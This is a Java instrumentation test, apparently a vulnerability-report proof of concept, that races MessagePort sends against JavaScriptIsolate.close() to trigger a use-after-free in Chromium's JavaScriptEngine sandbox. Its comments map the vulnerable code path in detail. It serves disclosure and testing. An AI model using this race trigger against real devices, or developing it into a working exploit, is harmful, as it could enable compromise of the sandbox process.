// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

package androidx.javascriptengine;

import android.content.Context;

import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.LargeTest;

import com.google.common.util.concurrent.ListenableFuture;

import org.junit.Assume;
import org.junit.Test;
import org.junit.runner.RunWith;

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;

/**
 * POC: Use-After-Free in JsSandboxMessagePort during isolate teardown.
 *
 * Triggers a race between:
 *   - Binder threads delivering MessagePort messages into the sandbox process
 *     (which on the service side cast a raw `long` back to a freed
 *     `JsSandboxMessagePort*` and call TryAllocateMemoryBudget / HandleString)
 *   - The isolate thread destroying the V8 CppHeap (which frees every
 *     JsSandboxMessagePort) when JavaScriptIsolate.close() is called.
 *
 * The native pointer (`mNativeJsSandboxMessagePort`) is never invalidated on
 * the Java side, so any in-flight onString() callback that already passed the
 * `mRemoteIMessagePort != null` check will dereference freed memory.
 *
 * Run against an ASAN-instrumented WebView (system_webview_apk). With the
 * accompanying `widen-race-window.patch` applied, the race is deterministic and
 * a single iteration produces `heap-use-after-free` in the
 * `org.chromium.webview_shell:js_sandbox_process0` process. Without the patch,
 * the loop below hammers the window until ASAN fires (typically <100
 * iterations).
 */
@RunWith(AndroidJUnit4.class)
public class JsSandboxMessagePortUafTest {

    private static final int ITERATIONS = 500;
    // Multiple sender threads -> multiple Binder threads in the service process,
    // which maximises the chance one is parked inside the JNI call when the
    // CppHeap is torn down.
    private static final int SENDER_THREADS = 4;

    @Test
    @LargeTest
    public void testMessagePortUafOnIsolateClose() throws Exception {
        final Context context = ApplicationProvider.getApplicationContext();
        final ExecutorService senders = Executors.newFixedThreadPool(SENDER_THREADS);

        final ListenableFuture<JavaScriptSandbox> sandboxFuture =
                JavaScriptSandbox.createConnectedInstanceAsync(context);
        try (JavaScriptSandbox sandbox = sandboxFuture.get(30, TimeUnit.SECONDS)) {
            Assume.assumeTrue(
                    sandbox.isFeatureSupported(JavaScriptSandbox.JS_FEATURE_MESSAGE_PORTS));

            for (int i = 0; i < ITERATIONS; i++) {
                final JavaScriptIsolate isolate = sandbox.createIsolate();

                // Wire up the JS side so the native JsSandboxMessagePort is
                // fully constructed and held in the isolate's `message_ports_`
                // map (cppgc::Persistent<JsSandboxMessagePort>).
                final MessagePort port = isolate.provideMessagePort(
                        "p",
                        Runnable::run,
                        new MessagePortClient() {
                            @Override
                            public void onMessage(Message m) {}
                        });

                // Make sure the native side has actually created the port before
                // we start the race.
                isolate.evaluateJavaScriptAsync(
                        "android.getNamedPort('p').then(p => { p.onmessage = e => {}; });")
                        .get(30, TimeUnit.SECONDS);

                final AtomicBoolean stop = new AtomicBoolean(false);
                final CountDownLatch sendersStarted = new CountDownLatch(SENDER_THREADS);

                for (int t = 0; t < SENDER_THREADS; t++) {
                    senders.execute(() -> {
                        sendersStarted.countDown();
                        // Each postMessage() is a oneway Binder call into
                        // IMessagePort.sendString() inside the sandbox process.
                        // On the service side this lands in
                        // MessagePortIpcClient.sendString() ->
                        //   JsSandboxMessagePort$MessagePortClient.onString() ->
                        //     JNI tryAllocateMemoryBudget(mNativeJsSandboxMessagePort)
                        // on a Binder thread, with no lock against teardown.
                        while (!stop.get()) {
                            try {
                                port.postMessage(Message.ofString("x"));
                            } catch (Throwable ignored) {
                                // The remote side dying / port closing is fine;
                                // we only care about the native crash.
                            }
                        }
                    });
                }

                sendersStarted.await();
                // Give the binder queue a moment to fill up so several
                // sendString() calls are in flight inside the service.
                Thread.sleep(2);

                // close() -> IJsSandboxIsolate.close() -> destroyNative() ->
                // control thread -> isolate thread -> `delete this` on
                // JsSandboxIsolate. ~JsSandboxIsolate destroys the IsolateHolder
                // and its CppHeap, which frees every JsSandboxMessagePort.
                //
                // Any Binder thread that has already passed the
                // `mRemoteIMessagePort != null` check but not yet returned from
                // tryAllocateMemoryBudget()/handleString() now dereferences a
                // dangling JsSandboxMessagePort* (and through it, a dangling
                // JsSandboxIsolate* / JsSandboxMemoryBudget*).
                isolate.close();

                stop.set(true);
                // Drain a few more sends — the service-side port object outlives
                // isolate.close() on the Java side and will keep forwarding to
                // the (now freed) native pointer until ~JsSandboxMessagePort
                // eventually nulls mRemoteIMessagePort.
                Thread.sleep(2);
            }
        } finally {
            senders.shutdownNow();
        }
    }
}